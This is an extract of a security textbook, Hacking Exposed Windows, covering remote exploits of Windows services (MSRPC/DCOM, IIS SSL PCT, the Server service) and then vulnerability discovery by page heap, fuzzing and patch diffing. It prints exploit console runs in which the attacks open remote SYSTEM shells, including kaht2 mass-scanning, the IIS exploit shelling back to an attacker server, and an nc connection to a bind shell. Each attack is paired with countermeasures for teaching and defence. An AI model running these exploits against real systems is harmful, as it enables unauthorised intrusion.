Distributed Component Object Model \n(DCOM) interface within the RPC process. Successful exploitation of the issue leads to \nLocalSystem-equivalent privileges, the worst kind of remote compromise.\nIn early August 2003, soon after the Microsoft bulletin describing this vulnerability was \npublished, several security research groups released proof-of-concept code to exploit the \nbuffer overflow; sure enough, an automated worm was soon released and infected more \nthan 400,000 unpatched machines. This worm was originally dubbed the LOVESAN worm \nbut is now more commonly known as Blaster. Details of the worm’s activities and payload \ncan be found on any reputable antivirus vendor’s website; basically, this legion of infected \ncomputers was harnessed to launch a distributed denial of service (DDoS, see Chapter 8) \nattack against the windowsupdate.com domain beginning on August 16, 2003, and \ncontinuing until December. This sort of blatant targeting of corporate infrastructures and \nthe attack’s sheer scale were unprecedented, but fortunately, the windowsupdate.com \n" }, { "page_number": 185, "text": "Chapter 5: Hacking Windows-Specific Services \n157\ndomain was not actually used anymore by Microsoft Corporation, which simply removed \nthe DNS records for that domain and thereby squelched the threat. It will be interesting to \nsee how the Internet community reacts to more thoughtfully crafted worms in the future.\nIn parallel with and subsequent to Blaster’s meteoric rise and fall, several other tools \naimed at exploited the MSRPC issue surfaced on the Internet. One of the more frightening \nones was a program called kaht2, which scanned a user-defined range of IP addresses for \nthe MSRPC bug, and then popped a shell back to the attacker for each vulnerable system \nit found. Kaht2 is shown here scanning a Class C–sized subnet:\n_________________________________________________\n KAHT II - MASSIVE RPC EXPLOIT\n DCOM RPC exploit. Modified by aT4r@3wdesign.es\n #haxorcitos && #localhost @Efnet Ownz you!!!\n PUBLIC VERSION :P\n________________________________________________\n [+] Targets: 192.168.234.1-192.168.234.254 with 50 Threads\n [+] Attacking Port: 135. Remote Shell at port: 37156\n [+] Scan In Progress...\n - Connecting to 192.168.234.4\n Sending Exploit to a [WinXP] Server...\n - Conectando con la Shell Remota...\nMicrosoft Windows XP [Version 5.1.2600]\n(C) Copyright 1985-2001 Microsoft Corp.\nC:\\WINNT\\system32>\nC:\\WINNT\\system32>whoami\nwhoami\nnt authority\\system\nAs you can see from this output, kaht2 finds a vulnerable Windows XP machine, sends \nan exploit to port 135, and then pops a shell back that runs as LocalSystem.\nWe’ve experienced interesting results using kaht2—sometimes it seems to be unable to find open \nports, and on one victim Windows system, it caused the RPC service to terminate, and the system \nforcibly shut itself down within 20 seconds.\nUnfortunately, the fun didn’t stop with the first MSRPC interface vulnerability. On \nSeptember 10, 2003, Microsoft announced a second remote code exploiting vulnerability \nin the same MSRPC/DCOM interface code. The second vulnerability had the same \nessential severity and impact as the first. Although most organizations tightened up their \ndefenses following the Blaster outbreak, the appearance of a second bulletin concerning \nthe same code so close to the first was disconcerting to customers who spent a lot of \neffort and downtime patching the first bug. Hopefully, Microsoft has now fixed all of the \nsecurity issues with MSRPC interfaces. Nevertheless, the days of blithely assuming no \nthreat exists via MSRPC on its various ports are over.\n" }, { "page_number": 186, "text": "158 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nOne final interesting point about Blaster is that the worm came after the public \nadvisory and exploit. It would seem that use of such a so-called “0-day exploit” in a \nworm would be most desirable, since there’s no patch. In practice, it is unusual to see 0-\ndays used on such a scale since it typically leads to faster patching and the “loss” of a \nvaluable bug to the attack community—one potentially used for criminal purposes.\nCountermeasures to MSRPC Interface Buffer Overfl ows\nMicrosoft announced a standard two-point approach to preventing attacks against this \nvulnerability:\n \n1. Block network ports used to exploit this issue. These include UDP ports 135, \n137, 138, and 445; TCP ports 135, 139, 445, and 593; and COM Internet Services \n(CIS) and RPC over HTTP, which listen on ports 80 and 443.\n \n2. Get the patch.\nFor those who really want to sacrifice usability for security, disabling DCOM per KB \narticle 825750 will, of course, prevent this and future problems from occurring. However, \nthis severely hampers remote communication with and from the affected machine, so \ntest this option thoroughly for compatibility with your business before implementing.\nIIS SSL PCT Exploit\nPopularity:\n10\nSimplicity:\n10\nImpact: \n7\nRisk Rating:\n9\nOne of the most frequently attacked Windows services has been Microsoft’s World \nWide Web server implementation, Internet Information Services (IIS). Microsoft has done \na good job of addressing most of the major security vulnerabilities in IIS in recent versions. \n(As of this writing, no “Critical” severity vulnerability has appeared in a contemporary \nversion of IIS since late 2002, according to Microsoft’s Security Bulletin online search tool.) \nHowever, because we still encounter older versions of IIS that are exposed to hostile \nnetworks, and because you never know when a new streak of serious IIS vulnerabilities \nmay be discovered, we include a brief description of an IIS exploit here.\nAs discussed in Chapter 4, discovering the make and model of a web server is a fairly \nstraightforward endeavor. It’s also no real stretch to research published vulnerabilities in \nthe identified server software. Consider, for example, the SSL PCT remote buffer overflow \ncondition that exists for IIS, as described in Microsoft Security Bulletin MS04-011. Now, \nall an attacker needs do is find some exploit code. For this example we went to www \n.k-otik.com and found a very useful packaged exploit for the SSL/PCT (Secure Sockets \nLayer/Private Communication Technology) vulnerability.\nAfter downloading the exploit code and naming it iisexploit.c, we attempt to compile \nit. For the average script kiddie, getting exploit code to compile is not always a simple \n" }, { "page_number": 187, "text": "Chapter 5: Hacking Windows-Specific Services \n159\ntask, especially with code that is likely cobbled together from multiple sources with \ninjudicious (and often purposefully mischievous) splicing. Some time later, after resolving \nmultiple compiler errors related to missing header files, libraries, invalid references, and \nso on, plus a couple of trips to Google to remind us how to set basic compiler parameters, \nwe now have our iisexploit.exe ready to run.\nLaunching iisexploit.exe from the command line is fairly straightforward (relative to \ncompiling it):\nC:\\>iisexploit www.site.com myserver 8082\nTHCIISSLame v0.3 - IIS 5.0 SSL remote root exploit\ntested on Windows 2000 Server german/english SP4\nby Johnny Cyberpunk (jcyberpunk@thc.org)\n[*] building buffer\n[*] connecting the target\n[*] exploit send\n[*] waiting for shell\n[*] Exploit successful ! Have fun !\nThe exploit returns a shell to the attacker’s system on the predetermined port 8082.\nAs you just witnessed, exploiting a known vulnerability is quite simple and doesn’t \nrequire much work. But thanks to exploit development frameworks that have evolved \nover the years, it can be even easier than this. For example, the Metasploit Framework is an \nopen-source platform for developing, testing, and launching exploit code. It is easily \namplified with pluggable exploit modules contributed by the worldwide community of \nfolks engaged in “legal penetration testing and research purposes only” according to the \nMetasploit website. Metasploit runs on most Linux/UNIX platforms with Perl available. A \nCygwin-based version is provided for Windows systems. Metasploit provides for easy \nexploitation of all types of vulnerabilities, including web platform holes. Commercially-\nsupported exploit frameworks include CORE IMPACT from Core Security Technologies \nand CANVAS by Immunity. For links to more information about Metasploit, CORE \nIMPACT, and CANVAS, see “References and Further Reading” at the end of this chapter.\nThe power and efficiency of Metasploit is impressive, even in the hands of semi-\nskilled adversaries. After downloading and installing the Framework distribution, an \nattacker can be ready to roll with prepackaged exploits within 5 minutes. Metasploit \neven sports a swift installation wizard. How convenient—and people think hacking is \nhard work. Once installed, Metasploit can be accessed by either its command line or web \ninterfaces.\nAn attacker who wants to target the same IIS SSL PCT vulnerability using Metasploit \ncan simply select it from the list of precompiled exploits displayed in the Metasploit user \ninterface. Metasploit then displays a helpful screen that provides a description of the \nvulnerability, complete with references. Metasploit even enables us to select from a \nnumber of payloads that can be delivered to the server (including remote shell, as we \ndemonstrated above). Upon clicking the Exploit button, Metasploit displays the success \nstatus of the payload delivery, and the attacker is presented with console access to the \nremote server.\n" }, { "page_number": 188, "text": "160 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIIS Countermeasures\nA number of good IIS lockdown references are available (“References and Further \nReading”). We recommend consulting them for in-depth detail, but we’ve found that \nexcellent IIS security can be obtained by following this simple advice:\n• Make sure that you are running the most up-to-date version, with patches.\n• Confi gure IIS conservatively (such as by disabling unneeded extensions and \nfi lters). In the specifi c case of the SSL/PCT vulnerability, disabling the outdated \nPCT protocol mitigates the issue completely.\n• Implement network access control inbound and outbound from the web server \nto protect against attacks on other non-IIS services and to restrict “phone home” \ntechniques such as remote shells, as demonstrated earlier.\nWindows Server Service Exploit\nPopularity:\n10\nSimplicity:\n10\nImpact: \n7\nRisk Rating:\n9\nOne of the most important services on Windows servers is, not surprisingly, the \nServer service. It supplies the basis for offering resources to clients (RPC calls, file and \nprint services, and so on). Microsoft originally released a bulletin on August 8, 2006, \ntitled “Vulnerability in Server service could allow remote code execution.” Even though \nthe name implies conditional exploitability, the reality is that the “service allows remote \ncode execution” according to the bulletin.\nThe problem resided in the CanonicalizePathName()function. Canonicalization\nmeans normalizing the string handled by a function. For example, if data is presented \nusing Unicode with different encodings, in order to actually use the information the \nsystem needs to normalize (decode) it to the simplest presentation form understood by \nthe application. Canonicalization has traditionally been targeted by attackers; for \nexample, the old “dot-dot-slash” syntax for traversing file systems was once exploited \nagainst IIS by using special encoding such as %255c or %a0%af instead of ../.\nThis bug, after publication, almost immediately caused different exploits to be \npublished, and it was also used in some malware.\nFollowing is an example usage from the actual exploit written by Preddy:\nkraken:~/hacks/exploits jabba$ ./ms06-40 127.0.0.1\nTarget: 127.0.0.1\nAttack Finished: now open a new terminal and nc to your victim on port 54321\nWarning: Don't close this window!\n[open a new terminal/window/prompt]\nnc 127.0.0.1 54321\nMicrosoft Windows XP [Version 5.1.2600]\n" }, { "page_number": 189, "text": "Chapter 5: Hacking Windows-Specific Services \n161\n(C) Copyright 1985-2001 Microsoft Corp.\nC:\\WINDOWS\\system32>\nEven though this example is from XP, the bug was also exploitable on Windows 2003 at \nthe time.\nCountermeasures to Windows Server Service Exploit\nSince the Server service cannot practically be disabled, the only thing left to do is damage \ncontrol—not opening the service to the Internet, and then maybe hardening the vectors \nthat typical exploits use to get code execution. Of course, the proper patch-management \nprocedures help with this, together with mitigating the problem with intrusion protection \nsystems, segmentation, and so on.\nSUMMARY\nIn this chapter, we’ve covered attacks against Windows services, ranging from the \nmundane (password guessing), to the sophisticated (MITM attacks), to the flat-out nasty \n(MSRPC interface buffer overflows). Although your head may be spinning with the \nnumber of attacks that are feasible against Microsoft’s network protocols, the following \nare the most important defensive points to remember:\n• Block access to Windows-specifi c services using network and host-based \nfi rewalls. Windows XP SP2 and Vista bring enhancements to the built-in \nWindows Firewall that do much of this by default.\n• Disable Windows services if they are not being used; for example, unbinding \nFile And Printer Sharing for Microsoft Networks from the appropriate adapter \nis the most secure way to disable SMB services on Windows. (See Chapter 4 for \nmore information.)\n• If you must enable SMB services, set the Security Policy Network Access options \nappropriately to prevent easy enumeration of user account names (see Chapter 4).\n• Enforce strong passwords using Security Policy/Account Policies Passwords \nMust Meet Complexity Requirements setting. (Also check the links about \npassphrases to help you choose easy-to-remember yet hard-to-crack passphrases.)\n• Enable account lockout using Security Policy/Account Policies/Account \nLockout Policy.\n• Lock out the true Administrator account using passprop, and on later Windows \nversions use the provided functionality in the security policy confi guration.\n• Rename the true Administrator account and create a decoy Administrator \naccount that is not a member of any group.\n• Enable auditing of logon events under Security Policy/Audit Policy and review \nthe logs frequently, using automated log analysis and reporting tools as warranted.\n• Carefully scrutinize employees who require Administrator privileges and \nensure that proper policies are in place to limit their access beyond their terms \nof employment.\n" }, { "page_number": 190, "text": "162 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• Set the Network Security: LAN Manager Authentication Level to at least Send \nNTLM Response Only on all systems in your environment, especially legacy \nsystems such as Windows 9x, which can implement LM Authentication Level 3 \nusing the DSClient update on the Windows CD-ROM. In fact, anything lower than \nNTLMv2 allows very fast brute-force attacks on captured authentication messages.\n• Be wary of HTML e-mails or web pages that solicit logon to Windows resources \nusing the fi le:// URL (although such links may be invisible to the user).\n• Keep up with patches (as always).\n• Did we mention reviewing those logs?\nAnd last but not least, don’t forget that Windows authentication and related services \nare only the most obvious doors into Windows systems. Even if SMB is disabled, plenty \nof other good avenues of entry are available, including IIS and SQL (Chapter 9). Don’t \nget a false sense of security just because SMB is buttoned up!\nREFERENCES AND FURTHER READING\nReference\nLocation\nRelevant Knowledge Base Articles\n288164, “How to Prevent the Creation of \nAdministrative Shares on Windows NT \nServer 4.0”\nhttp://support.microsoft.com/?kbid=288164\nQ147706, “How to Disable LM \nAuthentication on Windows NT”\nhttp://support.microsoft.com/?kbid=147706\nQ239869, “How to Enable NTLM 2 \nAuthentication”\nhttp://support.microsoft.com/?kbid=239869\nQ161372, “How to Enable SMB Signing in \nWindows NT”\nhttp://support.microsoft.com/?kbid=161372\n“How to Shoot Yourself in the Foot with \nSecurity,” covers SMB signing\nwww.microsoft.com/technet/community/columns/\nsecmgmt/sm0905.mspx\nFreeware Tools\nToolcrypt.org compilation of Windows \nsecurity assessment tools\nwww.toolcrypt.org/index.html?hew\nDelGuest by Arne Vidstrom\nhttp://ntsecurity.nu/toolbox/delguest\nCOAST dictionaries and word lists\nftp://coast.cs.purdue.edu/pub/dict/\nWinPcap, a free packet capture architecture \nfor Windows by the Politecnico di Torino, \nItaly (included with L0phtcrack 3 and later)\nhttp://www.winpcap.org\nKerbSniff and KerbCrack by \nArne Vidstrom\nwww.ntsecurity.nu/toolbox/kerbcrack/\nScoopLM and BeatLM\nwww.securityfriday.com\nSMBRelay by Sir Dystic\nhttp://www.xfocus.net/articles/200305/smbrelay.html\n" }, { "page_number": 191, "text": "Chapter 5: Hacking Windows-Specific Services \n163\nReference\nLocation\nSnarp by Frank Knobbe, ARP cache \npoisoning utility, works on NT 4 only, \nnot always reliably\nwww.securityfocus.com/tools/1969\nEttercap, a multipurpose sniffer/\ninterceptor/logger for switched LANs\nhttp://ettercap.sourceforge.net/\nLCP—cracking for challenge-response \nand dumped hashes\nwww.lcpsoft.com/english/index.htm\nVenom—WMI cracker\nwww.cqure.net/wp/?page_id=21\nTSGrinder\nwww.hammerofgod.com/download\nCommercial Tools\nEvent Log Monitor (ELM) from TNT \nSoftware\nwww.tntsoftware.com\nEventAdmin from Quest Software\nwww.quest.com/intrust\nL0phtcrack with SMB Packet Capture\nhttp://packetstormsecurity.org/Crackers/NT/\nl0phtcrack/\nCIFS/SMB Hacking Incidents in the News\n“Exploit Devastates WinNT/2K Security,” \nThe Register, May 2, 2001, covering the \nrelease of SMBRelay\nwww.theregister.co.uk/content/8/18370.html\nExploit Frameworks\nMetasploit\nwww.metasploit.com\nCORE IMPACT, a penetration testing suite \nfrom Core Security Technologies\nwww.corest.com\nCANVAS Professional, an exploit \ndevelopment framework from Immunity\nwww.immunitysec.com\nGeneral References\nTechnical rant on the weaknesses of the LM \nhash and challenge-response\nwww.packetstormsecurity.org/Crackers/NT/\nl0phtcrack.rant.nt.passwd.txt\nSamba, a UNIX SMB implementation\nwww.samba.org\n“Modifying Windows NT Logon \nCredential,” Hernán Ochoa, CORE-SDI, \noutlines the “pass-the-hash” concept\nwww.coresecurity.com/index.php5?module=\nContentMod&action=item&id=1030\nLuke Kenneth Casson Leighton’s website, \na great resource for technical CIFS/SMB \ninformation\nwww.cb1.com/~lkcl/\n“Feasibility of Attacking Windows 2000 \nKerberos Passwords” by Frank O’Dwyer\nwww.securityteam.com/windowsntfocus/\n5BP0H0A6KM.html\n“Cracking NTLM 2 Authentication,” \nPowerPoint fi le\nwww.blackhat.com/presentations/win-usa-02/\nurity-winsec02.ppt\nDCE/RPC over SMB: Samba and Windows \nNT Domain Internals\nby Luke K. C. Leighton. Macmillan Technical Publishing \n(1999)\nCIFS/SMB specifi cations from Microsoft\nftp://ftp.microsoft.com/developr/drg/cifs/\n" }, { "page_number": 192, "text": "164 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nReference\nLocation\nWNetAddConnection2 function\nhttp://msdn2.microsoft.com/en-us/library/\naa385413.aspx\nWindows Security Checklists and other \nguidance\nwww.microsoft.com/technet/security/guidance\nHacking Exposed, Fifth Edition, Chapter \n7, “Network Devices,” covers ARP \nredirection/cache poisoning\nby Stuart McClure, Joel Scambray, and George Kurtz. \nMcGraw-Hill/Osborne (2005)\n“Core Security Technologies Demonstrates \nExploitability of Third-Party Software \nRunning on Vista”\nwww.coresecurity.com/index.php5?module=\nContentMod&action=item&id=1660\n“Why you shouldn’t be using passwords \nof any kind on your Windows networks” \nfrom Robert Hensing’s blog\nhttp://blogs.technet.com/robert_hensing/archive/\n2004/07/28/199610.aspx\nWikipedia discussion of passphrases\nhttp://en.wikipedia.org/wiki/Pass_phrase\n“The Great Debates: Pass Phrases vs. \nPasswords” on MS TechNet\nwww.microsoft.com/technet/security/secnews/articles/\nitproviewpoint100504.mspx\n" }, { "page_number": 193, "text": "165\n6\nDiscovering \nand Exploiting \nWindows \nVulnerabilities\n" }, { "page_number": 194, "text": "166 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nF\nor several years, on the second Tuesday of every month (“Black Tuesday”), \nMicrosoft considers the release of security patches. In most months, patches are \nreleased. Black Tuesday marks the day that security researchers download patches \nand begin reverse engineering them in an effort to discover how to exploit unpatched \nmachines. How are these security issues discovered and how can they be exploited? This \nchapter discusses the types of bugs that affect the Windows platform, how to discover \nthem, and how they can be exploited.\nSECURITY VULNERABILITIES\nSoftware security vulnerabilities often stem from an oversight in the code, configuration, \ndesign, or environment of a particular technology component. For example, the Windows \nAnimated Cursor Remote Code Execution Vulnerability is a code-borne issue, as it is the \nresult of inappropriate buffer management. On the other hand, the Arbitrary File Rewrite \nVulnerability in Internet Explorer is the result of a configuration oversight. This issue was \nresolved simply by “killbiting,” or disabling, the NMSA Session Description Object \nActiveX control within Internet Explorer.\nVulnerabilities, despite their origin, typically result in elevation of privileges (EoPs) \nor denial of service (DoS) attacks. Depending on the threat modeling methodology to \nwhich you subscribe, this list can be expanded to include additional threats. For example, \nMicrosoft’s threat modeling methodology calls out six threat categories (STRIDE):\n• Spoofi ng identity\n• Tampering with data\n• Repudiation\n• Information disclosure\n• Denial of service\n• Elevation of privileges\nArguably, the first four could be considered artifacts of an EoP. They are provided here \nto ensure that you have a clear understanding of the various flavors in which “bad” is \navailable.\nFINDING SECURITY VULNERABILITIES\nHow are these vulnerabilities discovered? In some instances, it can be as easy as using \nthe software, or it can take many moons of research. Typically, discovering a vulnerability \nis the result of one or more of the following exercises:\n• Compiling\n• Code review\n• Reverse-engineering\n" }, { "page_number": 195, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n167\n• Fuzzing\n• Ad hoc testing\n• Static analysis\n• Dynamic analysis (runtime)\n• General usage\nWe discuss reverse-engineering and fuzzing in more detail later in this chapter. First, \nlet’s discuss some of the ways Windows can be configured to help detect security defects.\nPrep Work\nWindows comes equipped with a variety of tools that aid in our ability to search and \nlocate vulnerabilities. Most notable are the image file execution options and global flags \n(GFlags). Image file execution options allow us to tweak certain attributes and behaviors \nof an application’s process space. For example, we can force Windows to perform sanity \nchecks on the heap after memory is freed or to pad memory allocations with guard pages \nso we can detect heap overflows. (For a complete list of options, see GFlags Remarks in \nthe “References and Further Reading” section.)\nWe can set these options manually in the Registry at HKLM\\SOFTWARE\\Microsoft\\\nWindows NT\\CurrentVersion\\Image File Execution Options, or we can lean on a GUI \nutility provided as part of the Debugging Tools for Windows package, gflags.exe.\nAssume the following code listing (numbered for convenience) represents an \napplication in which we want to detect heap overflows:\n1 #include \n2 #include \n3 #include \n4\n5 #define ALLOC_SIZE 1024\n6 INT main(INT argc, PCHAR *argv)\n7 {\n8 PCHAR pBlob = (PCHAR)malloc(ALLOC_SIZE);\n9\n10 if(!SUCCEEDED(pBlob))\n11 {\n12 return 0;\n13 }\n14\n15 memset(pBlob, 'A', ALLOC_SIZE + 1);\n16 printf(“%s\\n”, pBlob);\n17 // free(pBlob);\n18\n19 return 0;\n20 }\n" }, { "page_number": 196, "text": "168 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nOn line 15, you can see that a 1-byte heap overflow is occurring. If we compile and \nexecute this program, it will print out a bunch of As and exit normally. However, if we \nenable page heap for this image, heaptest.exe, we will break into the debugger upon \noverflow.\nTo enable page heap for this image, perform the following steps:\n \n1. Install Debugging Tools for Windows.\n \n2. Execute gfl ags.exe.\n \n3. In the Global Flags window, select the Image File tab.\n \n4. Type heaptest.exe in the Image box.\n \n5. Press the TAB key.\n \n6. Check Enable Page Heap.\n \n7. Click Apply. Your screen should look like Figure 6-1. Then click OK.\nFigure 6-1 Enabling page heap for heaptest.exe\n" }, { "page_number": 197, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n169\nThe GFlags utility is nothing more than a Registry editor. These values can be enabled manually \nas well.\nIf we rerun the same code, heaptest.exe will break into the debugger, as shown in the \nfollowing listing:\nMicrosoft (R) Windows Debugger Version 6.6.0007.5\nCopyright (c) Microsoft Corporation. All rights reserved.\nExecutable search path is:\nModLoad: 00400000 0040f000 C:\\code\\heaptest.exe\nModLoad: 76f10000 7702e000 C:\\Windows\\system32\\ntdll.dll\nModLoad: 77110000 77141000 C:\\Windows\\system32\\verifier.dll\nModLoad: 76c00000 76cd8000 C:\\Windows\\system32\\kernel32.dll\n(1514.1484): Access violation - code c0000005 (!!! second chance !!!)\neax=41414141 ebx=76c47b1c ecx=00000000 edx=00000001 esi=00000002 edi=01584000\neip=00401215 esp=0012ff38 ebp=0012ff50 iopl=0 nv up ei pl nz na po nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202\n*** WARNING: Unable to verify checksum for C:\\code\\heaptest.exe\nheaptest!memset+0x55:\n00401215 8807 mov byte ptr [edi],al ds:0023:01584000=??\n0:000> u\nheaptest!memset+0x55 [F:\\RTM\\vctools\\...\\src\\intel\\memset.asm @ 122]:\n00401215 8807 mov byte ptr [edi],al\n00401217 83c701 add edi,1\n0040121a 83ea01 sub edx,1\n0040121d 75f6 jne heaptest!memset+0x55 (00401215)\n0040121f 8b442408 mov eax,dword ptr [esp+8]\n00401223 5f pop edi\n00401224 c3 ret\n00401225 8b442404 mov eax,dword ptr [esp+4]\nIf you don’t already have a post-mortem debugger installed, run windbg.exe -I.\nIn the preceding code, you can see the debugger broke with an access violation while \nwithin memset while trying to write 0x41 ('A') to the pointer in edi. If we disassemble \nthis area (with 'u'), we can see that edx is decremented each time a character is written to \nthe memory pointed to by edi. By looking at the value in edx, which is 1, you can see that \nthis is the last byte to be written. This corresponds with the 1-byte overflow in the source \ncode. If we were debugging in source mode, the debugger would highlight the offending \nline of code as well. Hopefully, this paints a clear picture for the usefulness of page heap.\nFuzzing\nIn its simplest form, fuzzing can be described as introducing malformed data to an \napplication in an automated fashion. The primary benefit of fuzzing is that once the \nfuzzer has been built, you can leave it alone until the target breaks in the debugger. This \nfrees up your time to investigate other areas of the application or write additional fuzzers. \nA decent number of fuzzers are available, depending on what you’re targeting. Our \nexperience has shown that Michael Eddington’s Peach Fuzzer Framework takes the \nproverbial cake when it comes to creating effective fuzzers quickly.\n" }, { "page_number": 198, "text": "170 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nPeach Fuzzing\nPeach is a Python-based fuzzing framework, not a fuzzer. It provides a set of classes and \nsupplemental tools that aid in rapid fuzzer development. At the core of a Peach fuzzer \nare generators, groups, and transformers. Generators are responsible for creating data \nmalformations, groups control iteration and relationships between the data malforma-\ntions, and transformers convert the generated data to another format, such as Base64. \nFor an overview of how these classes work, you can read the Peach Tutorial at http://\npeachfuzz .sourceforge.net/docs/tutorial/peach-tutorial.htm.\nPeach comes with a couple slick tools, too. Most notably is peachshark.py. This gem \nwill digest a Wireshark (http://www.wireshark.org) packet capture, when saved in\nPortable Document Markup Language (PDML) format, and create a fuzzer for you. For \nexample, the following steps will produce a simple HTTP fuzzer:\n \n1. Start Wireshark.\n \n2. Start sniffi ng: Choose Capture | Start.\n \n3. Browse to a website.\n \n4. Stop sniffi ng: Choose Capture | Stop.\n \n5. Select an HTTP GET request, as shown in Figure 6-2.\n \n6. Choose File | Export | File to open the Export File window, as shown in Figure \n6-3, and export the selected packet in PDML format.\n \n7. From your command prompt or shell, execute python peachshark.py \npacket.pdml http > httpfuzz.py:\nFigure 6-2 Select an HTTP GET request.\n" }, { "page_number": 199, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n171\nFigure 6-3 Export the selected packet in PDML format.\nPeachshark.py requires the 4Suite XML package available from http://4suite.org.\nThe result is a functional HTTP fuzzer. This auto-generated fuzzer has some limita-\ntions, such as its ignorance to valid HTTP methods other than GET. However, adding \nother valid HTTP methods takes only a few seconds. In addition, this auto-generated \nfuzzer will fuzz every header within the original request, along with individual subcom-\nponents of each header value. This is because the auto-generated fuzzer incorporates a \nfairly useful, and somewhat brutish, generator, StringTokenFuzzer. This generator ac-\ncepts a string and segments it based on a configurable set of tokens, such as a comma, \nspace, colon, semicolon, and so on. This tree of segments is then walked and fuzzed in-\ndividually. Now we can simply point the fuzzer at our target web server:\nC:\\projects\\peach\\tools>python httpfuzz.py count\n]] Http Fuzzer by PeachShark\n: GroupSequence.next(): GroupCompleted [949]\n: GroupSequence.next(): GroupCompleted [19889]\n: GroupSequence.next(): GroupCompleted [4737]\n: GroupSequence.next(): GroupCompleted [90914]\n: GroupSequence.next(): GroupCompleted [12313]\n: GroupSequence.next(): GroupCompleted [10419]\n" }, { "page_number": 200, "text": "172 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n: GroupSequence.next(): GroupCompleted [13260]\n: GroupSequence.next(): GroupCompleted [65345]\n: GroupSequence.next(): GroupCompleted [11366]\n: GroupSequence.next(): GroupCompleted [10419]\n: GroupSequence.next(): GroupCompleted [33147]\n: GroupSequence.next(): GroupCompleted [4737]\nTotal of 277494 test cases\nC:\\projects\\peach\\tools>python httpfuzz.py tcp 127.0.0.1 80\n]] Http Fuzzer by PeachShark\nRunning fuzzer on 127.0.0.1:80 via tcp\nAs the fuzzer runs, a test number will appear along with the HTTP server’s response to \neach fuzz test. At this point, you can sit back and let the fuzzer run while you work on \nsomething else.\nReverse-Engineering\nIn the absence of source code, we can always disassemble binaries and look for security \nissues within the assembly. But where to start? One option is to download patches for \nprevious security bugs and compare them against unpatched versions. The portions of \nthe binaries that do not match will probably point to a security issue.\nThe remainder of this section discusses how to go about unpacking a Microsoft \nUpdate package (.MSU), comparing the new dynamic link library (DLL) to the old, and \nidentifying the security issue. We will use the Animated Cursor (MS07-17) bug identified \nby Determina’s Alexander Sotirov, whose excellent technical description of this condition \nwas the primary reference for the vulnerability’s details. We will also lean on previous \nwork performed by the Metasploit project to demonstrate how MS07-17 can be exploited \non Microsoft Vista.\nUnpacking an Update\nAs stated, one way to discover vulnerabilities within Windows is to unpack the Microsoft \nUpdate package and compare the new DLL with the old one. Once we’ve identified the \nbug in which we are interested, in this case MS07-17, we first download the fix and \nunpack it:\nC:\\projects\\reverse\\KB925902>expand -F:* Windows6.0-KB925902-x86.msu .\nMicrosoft (R) File Expansion Utility Version 6.0.6000.16386\nCopyright (c) Microsoft Corporation. All rights reserved.\nAdding .\\WSUSSCAN.cab to Extraction Queue\nAdding .\\Windows6.0-KB925902-x86.cab to Extraction Queue\nAdding .\\Windows6.0-KB925902-x86-pkgProperties.txt to Extraction Queue\nAdding .\\Windows6.0-KB925902-x86.xml to Extraction Queue\n" }, { "page_number": 201, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n173\nExpanding Files ....\nExpanding Files Complete ...\n4 files total.\nC:\\projects\\reverse\\KB925902>\nFrom this you can see that four files were extracted from the update. The file of most \ninterest is Windows6.0-KB925902-x86.cab, as it will contain the updated binaries.\nWSUSSCAN.cab is used by tools such as Microsoft Baseline Security Analyzer (MBSA) to perform \noffline scanning of system patch levels.\nWe can expand Windows6.0-KB925902-x86.cab in the same manner used with the \nupdate package, which will provide a series of directories and manifests. In the x86_\nmicrosoft-windows-user32_31bf3856ad364e35_6.0.6000.16438_none_cb39bc5b7047127e \ndirectory, we will find the patched version of user32.dll. The next step is to compare this \npatched version against the old unpatched version in hopes of locating the bug.\nLocating the Bug\nTo perform this step, we use a free tool created by the bright folks on the eEye Research \nTeam: Binary Diffing Suite (BDS) can be downloaded from http://research.eeye.com/\nhtml/tools/RT20060801-1.html.\nBDS requires Data Rescue’s IDA Pro.\nOnce installed, fire up the Binary Diffing Starter and perform the following steps:\n \n1. Within the Path Confi guration frame, select File Diffi ng.\n \n2. For Pre-Patch, browse and select the unpatched version of user32.dll.\n \n3. For Post-Patch, browse and select the patched version of user32.dll.\n \n4. For Output-Path, browse and select your working directory.\n \n5. In the BDS Levels area, ensure that both boxes are checked.\n \n6. In the Plugins area, select DarunGrim. Your screen should look like Figure 6-4.\n \n7. At this point, click Start and wait for the program to tell you it’s complete. Once \nit’s complete, you will see a fi le called user32.dll.dg.db in your Output-Path.\nClose the Binary Diffing Starter and fire up DarunGrim. Once loaded, perform the \nfollowing steps to diff the patched and unpatched binaries.\n \n1. Choose File | New. The Analyze dialog box will appear.\n \n2. Click Pre-patch.\n \n3. Right-click Select Analida Generated File and browse to user32.dll.dg.db.\n \n4. Expand user32.dll.dg.db and select the unpatched user32.dll.\n" }, { "page_number": 202, "text": "174 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n \n5. Click Post-patch, expand user32.dll.dg.db, and select the patched user32.dll.\n \n6. Click Result and select user32.dll.dg.db.\n \n7. Click Start Analyze.\nDepending on the horsepower of your computer, this may take a while. Once \ncomplete, you will see a table that contains, among other things, the names of subroutines \nand their match rates. The Match Rate value should theoretically be between 1, a perfect \nmatch, and 0, a considerably less than perfect match. Because we are looking for \npotentially subtle changes, we should focus on subroutines that are a near perfect match. \nWe can do this by sorting the Match Rate in ascending order to end up with the screen \nshown in Figure 6-5.\nFigure 6-4 Binary Diffi ng Starter setup\n" }, { "page_number": 203, "text": "Chapter 6: Discovering and Exploiting Windows Vulnerabilities \n175\nOn the fourth row down, _LoadAniIcon@20 should probably jump out as \nsignificant, considering that we are attempting to locate a bug related to animated \ncursors. The next step is to right-click this row and select Diff. This will present a dual-\npaned window containing color-coded call graphs, as shown in Figure 6-6.\nThe unpatched version is on the left, and the patched version is on the right. There’s \na lot going on in here, so what’s significant? Odds are that the patch will result in the \nFigure 6-5 Sorted subroutine match table\n" }, { "page_number": 204, "text": "176 \nHacking Exposed Windows: Windows Security Secrets & Solutions 